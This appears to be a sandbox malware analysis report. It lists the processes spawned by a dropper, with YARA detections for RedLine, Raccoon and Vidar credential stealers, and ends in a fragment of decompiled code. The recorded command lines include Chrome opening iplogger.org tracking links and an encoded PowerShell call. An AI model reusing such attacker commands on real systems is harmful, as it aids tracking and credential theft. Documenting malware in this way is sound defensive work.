Analysis Process: chrome.exePID: 6700, Parent PID: 5856

General

Target ID:	11
Start time:	03:42:31
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AKmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6920, Parent PID: 5856

General

Target ID:	12
Start time:	03:42:32
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AZmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7076, Parent PID: 4988

General

Target ID:	13
Start time:	03:42:32
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1784,i,17582887386196209726,11872164080402614177,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7664, Parent PID: 5856

General

Target ID:	14
Start time:	03:42:35
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AVmX4
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7824, Parent PID: 5476

General

Target ID:	15
Start time:	03:42:36
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1676 --field-trial-handle=1864,i,14791828141535856649,9635454994269298468,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: F0geI.exePID: 7880, Parent PID: 5856

General

Target ID:	16
Start time:	03:42:36
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\F0geI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\F0geI.exe"
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	501E0F6FA90340E3D7FF26F276CD582E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.511481552.0000000000738000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.370169416.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 64%, Metadefender, Browse Detection: 96%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 8024, Parent PID: 2264

General

Target ID:	17
Start time:	03:42:37
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5208 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: kukurzka9000.exePID: 8076, Parent PID: 5856

General

Target ID:	18
Start time:	03:42:37
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe"
Imagebase:	0x400000
File size:	775168 bytes
MD5 hash:	3EC059BD19D6655BA83AE1E644B80510
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RaccoonV2, Description: Yara detected Raccoon Stealer v2, Source: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 44%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: namdoitntn.exePID: 644, Parent PID: 5856

General

Target ID:	19
Start time:	03:42:39
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe"
Imagebase:	0x470000
File size:	109568 bytes
MD5 hash:	BBD8EA73B7626E0CA5B91D355DF39B7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7956, Parent PID: 5248

General

Target ID:	20
Start time:	03:42:40
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1620 --field-trial-handle=1836,i,2712633263184333272,1787265188000872962,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: real.exePID: 4664, Parent PID: 5856

General

Target ID:	21
Start time:	03:42:40
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\real.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\real.exe"
Imagebase:	0x1030000
File size:	281600 bytes
MD5 hash:	A2414BB5522D3844B6C9A84537D7CE43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\real.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 73%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6488, Parent PID: 6424

General

Target ID:	22
Start time:	03:42:41
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1764 --field-trial-handle=1820,i,9522427136226525438,15642075344658028701,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: safert44.exePID: 6504, Parent PID: 5856

General

Target ID:	23
Start time:	03:42:43
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\safert44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\safert44.exe"
Imagebase:	0xc30000
File size:	251904 bytes
MD5 hash:	414FFD7094C0F50662FFA508CA43B7D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 00000017.00000000.381266981.0000000000C32000.00000002.00000001.01000000.0000000B.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: jshainx.exePID: 6960, Parent PID: 5856

General

Target ID:	24
Start time:	03:42:44
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\jshainx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\jshainx.exe"
Imagebase:	0x7e0000
File size:	109568 bytes
MD5 hash:	2647A5BE31A41A39BF2497125018DBCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 100%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6476, Parent PID: 6700

General

Target ID:	25
Start time:	03:42:45
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1732,i,1947956738124087181,12136632337956308802,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3160, Parent PID: 7664

General

Target ID:	26
Start time:	03:42:50
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1928 --field-trial-handle=1724,i,11796048362106728651,8580721197028235758,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: brokerius.exePID: 5400, Parent PID: 5856

General

Target ID:	27
Start time:	03:42:51
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\brokerius.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\brokerius.exe"
Imagebase:	0x8f0000
File size:	290304 bytes
MD5 hash:	F5D13E361F8B9ACA7103CB46B441034B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.854152661.000000000122A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, Author: unknown Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6952, Parent PID: 6920

General

Target ID:	28
Start time:	03:42:53
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1816,i,3782769237029675981,13001374734431330952,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: captain09876.exePID: 7956, Parent PID: 5856

General

Target ID:	29
Start time:	03:42:53
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\captain09876.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Company\NewProduct\captain09876.exe"
Imagebase:	0x7ff7bc510000
File size:	721408 bytes
MD5 hash:	CE94CE7DE8279ECF9519B12F124543C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, Metadefender, Browse Detection: 38%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: ordo_sec666.exePID: 6652, Parent PID: 5856

General

Target ID:	30
Start time:	03:42:54
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe"
Imagebase:	0x400000
File size:	1810960 bytes
MD5 hash:	63FD052610279F9EB9F1FEE8E262F2A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 0000001E.00000003.445373628.00000000022BD000.00000040.00000800.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: ffnameedit.exePID: 2416, Parent PID: 5856

General

Target ID:	31
Start time:	03:42:56
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe"
Imagebase:	0xa00000
File size:	109568 bytes
MD5 hash:	3243054D3ACD513ABCC72EE1D1B65C97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: ditekSHen Rule: Windows_Trojan_RedLineStealer_3d9371fd, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: EU1.exePID: 1540, Parent PID: 5856

General

Target ID:	32
Start time:	03:42:58
Start date:	23/08/2022
Path:	C:\Program Files (x86)\Company\NewProduct\EU1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Company\NewProduct\EU1.exe"
Imagebase:	0x1200000
File size:	289792 bytes
MD5 hash:	98FC1DECB8429B80180D484F107DABF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, Author: unknown Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000020.00000002.848648835.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7308, Parent PID: 2264

General

Target ID:	35
Start time:	03:43:20
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3348 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7992, Parent PID: 2264

General

Target ID:	36
Start time:	03:43:21
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4204 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2224, Parent PID: 2264

General

Target ID:	37
Start time:	03:43:29
Start date:	23/08/2022
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4196 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Imagebase:	0x7ff683680000
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: SETUP_~1.EXEPID: 2708, Parent PID: 7956

General

Target ID:	38
Start time:	03:43:42
Start date:	23/08/2022
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
Imagebase:	0x7b0000
File size:	350301568 bytes
MD5 hash:	CE25658AC9291C713590B834D96406BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3960, Parent PID: 3528

General

Target ID:	40
Start time:	03:43:47
Start date:	23/08/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Imagebase:	0x7ff7e2bc0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 7976, Parent PID: 2708

General

Target ID:	44
Start time:	03:45:31
Start date:	23/08/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
Imagebase:	0xd40000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5736, Parent PID: 7976

General

Target ID:	45
Start time:	03:45:32
Start date:	23/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: F0geI.exePID: 7880, Parent PID: 5856COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	73.2%
Signature Coverage:	1.1%
Total number of Nodes:	619
Total number of Limit Nodes:	7

Executed Functions

Function 00401E18 Relevance: 79.6, APIs: 42, Strings: 3, Instructions: 812
memorystringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00401E18(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				signed int _v56;
				signed int _v60;
				void* _v64;
				signed int _v68;
				char _v72;
				intOrPtr _v76;
				void* _v80;
				intOrPtr _v84;
				signed int _v88;
				char _v92;
				WCHAR* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				void* _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				void* _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
